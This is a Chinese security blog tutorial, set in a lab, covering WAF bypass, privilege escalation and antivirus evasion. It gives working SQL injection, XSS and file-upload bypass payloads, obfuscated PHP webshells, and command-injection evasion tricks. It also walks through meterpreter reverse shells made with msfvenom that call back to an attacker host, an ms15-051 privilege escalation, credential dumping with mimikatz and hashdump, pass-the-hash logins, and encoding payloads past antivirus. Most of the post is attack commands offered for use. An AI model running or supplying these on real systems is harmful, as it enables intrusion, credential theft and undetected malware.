当前位置: 博客首页>> 网络安全 >> 阅读正文

Waf绕过,权限提升,免杀

作者: 分类: 网络安全 发布于: 2024-07-09 16:13:37 浏览:291 评论(0)


WAF绕过

使用环境: Win7+phpStudy+安全狗 +DVWA

绕过mysql

绕过普通注入

简单注入时会拦截

1' and 1=1 #

image20240705100706224.png

内联注释:是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别。

/*!10445*/ 表示版本号;从00000~99999 ,需要小于mysql的版本;

例如: mysql 5.6 ,则版本号需要小于 56000才能执行成功

这个版本号有很多可以多尝试几个,这个原理就是在mysql数据库当中/*!加上指定的版本号来执行sql语句:

1'/*!11445and*/1=1

image20240705094146441.png

尝试绕过,内联注释成功绕过。

绕过联合注入

获取列数

1' order/*/*/by 1 #
或者 1' group by 1 #

image20240705094540778.png

经查询只有两列。

获取数据库名

-1' union /*/*/ /*!10445select*/1,database(/*/*/) #   id使用-1表示不查询原来数据

image20240705095228865.png

获取所有的库名

-1' union /*/*/ /*!10445select*/ 1, group_concat(schema_name) from /*/*/ information_schema.schemata #

image20240705095701297.png

获取dvwa库里面所有的表名

-1' union /*/*/ /*!10445select*/ 1, group_concat(table_name) from /*/*/ information_schema.tables /*/*/ where /*/*/ table_schema = 'dvwa

image20240705095827478.png

获取user表里面所有的列名

-1' union /*/*/ /*!10445select*/ 1, group_concat(column_name) from /*/*/ information_schema.columns /*!10445where*/ table_schema = 'dvwa'  /*!10445and*/ table_name = 'users

image20240705100226380.png

获取user表中账号与密码

-1' union /*/*/ /*!10445select*/ user,password /*!10445from*/ users #

image20240705100433678.png

绕过XSS

普通攻击时会拦截

<script>alert(1)</script>

image20240705100934722.png

利用base64编码加object标签即可绕过

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3NjcmlwdD4=" /> 

image20240705101146573.png

利用svg标签进行绕过; 标记定义 SVG 图形的容器。

<svg/onload=alert(1)>

image20240705101423519.png

绕过文件上传

上传php 文件时被拦截

image20240705101653655.png

点击upload

image20240705101723802.png

利用双写filename=;进行绕过

此时需要用到burpsuite 配合修改

image20240705102049170.png

filename="info.php" 前加上filename=;

提示上传成功

image20240705102135518.png

利用无用文件头绕过

在请求体前面添加大量无用数据(注意要和请求头空一行)。其原理是由于文件头太大, waf拦截时需要利用大量时间来验证,超过某个时间阈值时会自动放过

image20240705102646394.png

输入大量无用头数据时提示上传成功。

绕过内容检测

普通一句话木马上传访问被拦截

<?php @eval($_POST['a'])

image20240705103932745.png

上传免杀一句话木马

<?php
    $name = $_GET[1];
    $name = substr($name,0);
    eval("echo 123;" . $name."echo 456; " );
?>

image20240705104054994.png

image-20240705104507653

利用00截断绕过

先将文件名改为info.php;.jpg,再通过burp 的16进制将其中的;改为16进制的00.

image20240705105321836.png

image20240705105356996.png

再点击send后上传成功

image20240705105435478.png

绕过漏洞扫描

通常在实战中,当我们需要进行漏洞扫描的时候,常常被WAF产品拦截,导致扫描结果不可用,出现很大的误报,这时候需要采取WAF绕过扫描。

触发WAF的原因:

1、漏扫线程过大被封禁

解决方法:延时,低线程,使用代理池,白名单扫描

2、工具指纹被WAF识别被封禁

解决方法:指纹特征修改,模拟用户漏扫

3、漏洞单点payload特征被WAF识别封禁

解决方法:数据变异绕过,多种工具集合扫描尝试

WAF绕过命令执行,绕过脚本免杀

WAF绕过命令执行

常见的命令执行函数:

system() #输出并返回最后一行shell结果
exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里
passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上
popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针
shell_exec() #通过shell执行命令并以字符串的形式返回完整的输出
反引号 #本质是使用shell_exec()函数

命令分隔符:

Windows: && || & |
Linux: && || & | ;
分号;在shell中担任连续指令的功能

php环境中可以使用:

%0a 换行符
%0d 回车符

截断符号:

$
;
|
&
-
(
)
{
}
反引号
||
&&
%0a #有时可当空格使用

Linux命令执行绕过

1、绕过空格

${IFS}
$IFS$9 	   # $9可改成$加其他数字
<
<> 		   # 重定向符
{cat,flag.php}  # 用逗号,实现了空格功能

image20240705112728634.png

2、拼接

#在linux系统中
a=et;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b

3、base64编码

$(echo "Y2F0IHRlc3QudHh0"|base64 -d)

4、单引号、双引号绕过(引号需要闭合)

cat te''st.txt
cat te""st.txt
c''at te''st.txt
c""at te""st.txt

5、反斜杠

cat te\st.txt
c\at te\st.txt

6、通配符绕过

cat /etc/pass*

Windows下同理:如当命令执行被拦截的时候需要进行绕过,如whoami被拦截可以尝试如下进行绕过

w"h"o"a"m"i
"w"h"o"a"m"i"
"w"h"o"a"m"i
w"h"o"a"m"i"
who^ami
wh""o^a^mi
wh""o^a^mi
((((Wh^o^am""i))))
(Wh^o^am""i)
(Whoami)

# 或者 

set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami

获取webshell思路总结

SQL注入漏洞

前提:知道绝对路径,路径有写入权限,mysql配置my.ini中添加或修改secure_file_priv='',允许mysql写入文件。

写入webshell语句sql语句如:

select '<?php @eval($_POST["shell_code"]); ?>' info outfile '/var/www/html/shell.php'

文件上传漏洞

前提:上传目录允许执行

上传文件内容

//shell.php
<?php @eval($_POST["shell_code"]); ?>

命令执行漏洞

ping 127.0.0.1 && echo ^<?php @eval($_POST['a']);^ > /var/www/html/shell.php

其他通用的RCE漏洞

thinkphp远程代码执行
phpcms任意文件上传
dedecms远程代码执行
南方数据cms备份getshell
phpmyadmin后台获取webshell等等

万变不离其宗,原理依然是靠SQL注入,代码执行,命令执行。

权限提升

默认已经拿到webshell的情况下, 当前用户权限不足时, 可通过漏洞提升权限

Windows提权前期相关事项

明确事项:

1、明确漏洞编号及版本

2、明确漏洞利用平台及版本

3、确保cmd执行权限正常运行

4、确保服务器相关防护软件情况

systeminfo查看系统补丁:一般的,如果网站安全做好的的情况下,会有几百个补丁

image20240705151318049.png

Windows提权常用命令

whoami 查看当前权限
ipconfig 查看服务器为内网还是外网
quser 查看管理是否在线
systeminfo 查看服务器信息及相应的补丁,可找相应的补丁提权
tasklist 查看当前运行的进程,是否有av,可利用的第三方的服务提权等
net user 查看用户
net user admin adqqq7! /add 添加账户
net localgroup administrators admin /add 将admin这个用户加到管理组
net user guest /active:yes 激活guest账户
net user admin /del 删除admin账户
tasklist /svc 查看进程服务
tasklist /m dll 查看调用某个dll的进程
tasklist /v 显示当前进程和进程用户
qwinsta 显示会话情况
net config workstation 查看当前登陆用户信息
hostname 主机名
set 查看环境变量
net view 显示当前域或工作组中计算机的列表
net statistics workstation 查看主机开机时间
net share 查看共享文件夹

查看3389是否开启,0x0为开,0x1为关

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections

win2012通用,win7开启3389:

wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

windows server2008开启3389:

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t

REG_DWORD /d 00000000 /f

windows server 2003,windws XP开启3389:

wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

windows提权实战

**环境:**Win7(admin用户)+ Kali Linux

1、使用msfvenom生成后门程序

# 生成后门程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.150 lport=5555 -f exe -o 5555.exe

# msf监听端口
msfconsole -q  #进入msfconsole
handler -p windows/x64/meterpreter/reverse_tcp -H 10.0.0.150 -P 5555 # 开启监听

2、将生成的后门程序通过蚁剑上传到目标文件夹中

image20240705154349056.png

3、Webshell直接执行5555.exe

image20240705154513591.png

4、即可得到meterpreter会话

image20240705154630820.png

5、使用sessions -i 1命令进入此session中,执行getuid,发现非管理员权限

image20240705155028863.png

6、查看补丁信息

run post/windows/gather/enum_patches

image20240705155253474.png

7、查询哪些提权exp可以用

run post/multi/recon/local_exploit_suggester

image20240705155851296.png

8、此次使用ms15-051 这个漏洞进入提权,使用background命令把当前会话放到后台。并使用search ms15-051搜索漏洞利用模块

image20240705163851544.png

9、由于目标机是64位操作系统, 使用编号为2漏洞利用模块, 并设置SESSION

use 2
set session 1

image20240705163944212.png

10、 使用run执行命令,成功获取权限。执行getuid,发现已获取超级管理员权限

image20240705164040139.png

11、执行shell进入cmdshell,执行whoami,为system权限

image20240705164213473.png

乱码使用chcp 437即可

Windows提权后期密码安全性测试

1、利用run hashdump或者hashdump进行dump服务器hash值

image20240705164540964.png

​ 第四列为md5加密密码, 可通过解密工具获取明文密码

2、利用mimikatz获取管理员账号密码

​ load kiwi,加载kiwi模块

image20240705164837338.png

​ 查看kiwi帮助

image20240705164913329.png

creds_all,列举系统明文密码

image20240705164956296.png

kiwi_cmd可以使用mimikatz的全部功能,比如kiwi_cmd sekurlsa::logonpasswords获取明文密码

image20240705165138633.png

3、当hash解密不出来的时候,可以利用hash来直接远程登录

注意:以Win7或者Win XP作为靶机时攻击失败,建议使用Windows server 2012作为靶机进行测试

use exploit/windows/smb/psexec
set RHOSTS 10.0.0.167
set SMBUser wayee
set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
exploit

免杀

免杀技术简介:

免杀技术全称为反杀毒技术, Anti-Virus 简称“免杀”,指是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面广泛,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

利用

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=XXXX lport=XX -f exe -o XX.exe

生成的木马,不做任何的免杀处理,利用在线杀毒引擎检测查杀概率:

病毒分析网站

拖入5555.exe

image20240705170735619.png

VirusTotal的反病毒引擎报毒为56个。

image20240705170956038.png

利用MSF自带的功能进行免杀

Meatsploit 框架下免杀的方式之一就是使用MSF编码器。其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,该文件运行后,MSF 编码器会将原始程序解码到内存中并执行。

-e选项:指定编码器x86/shikata_ga_nai
-i:指定编码20次

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.150 -e x86/shikata_ga_nai -i 20 -f exe -o 5556.exe 

image20240705171705405.png

可以发现使用编码器免杀具备一定的效果,报毒引擎数量有所下降,但是效果微乎其微,近年来由于各种杀毒软件的更新,msf编码器免杀已经被各大杀毒软件标记,免杀效果差。

image20240705172144193.png

MSF编码器结合shellcode加载器进行免杀

# 下载shellcode加载器
https://github.com/crow821/crowsec/tree/master/BypassAV_360_huornog

如果编码器运行不成功,需要 msvcr110.dll 放到C:\Windows\SysWOW64 下

利用编码器生成jpg文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b '\x00' lhost=10.0.0.150 lport=5558 -f raw -o crowsec.jpg

image20240705180950667.png

利用msf进行监听

msfconsole -q
handler -p  windows/meterpreter/reverse_tcp -H 10.0.0.150 -P 5558

image20240705181209530.png

先看一下两个文件的免杀效果

crowsec_shelllcodeBypass.exe 有8个引擎报毒

image20240705174122217.png

crowsec.jpg仅12个引擎报毒

image20240705181359238.png

crowsec.jpgcrowsec_shelllcodeBypass.exe放到同一目录,点击ms.exe即可上线

image20240705181653982.png

获取到meterpreter

image20240705181850788.png

       

转载时请注明出处及相应链接。

本文永久链接: https://blog.baigei.com/articles/waf-bypass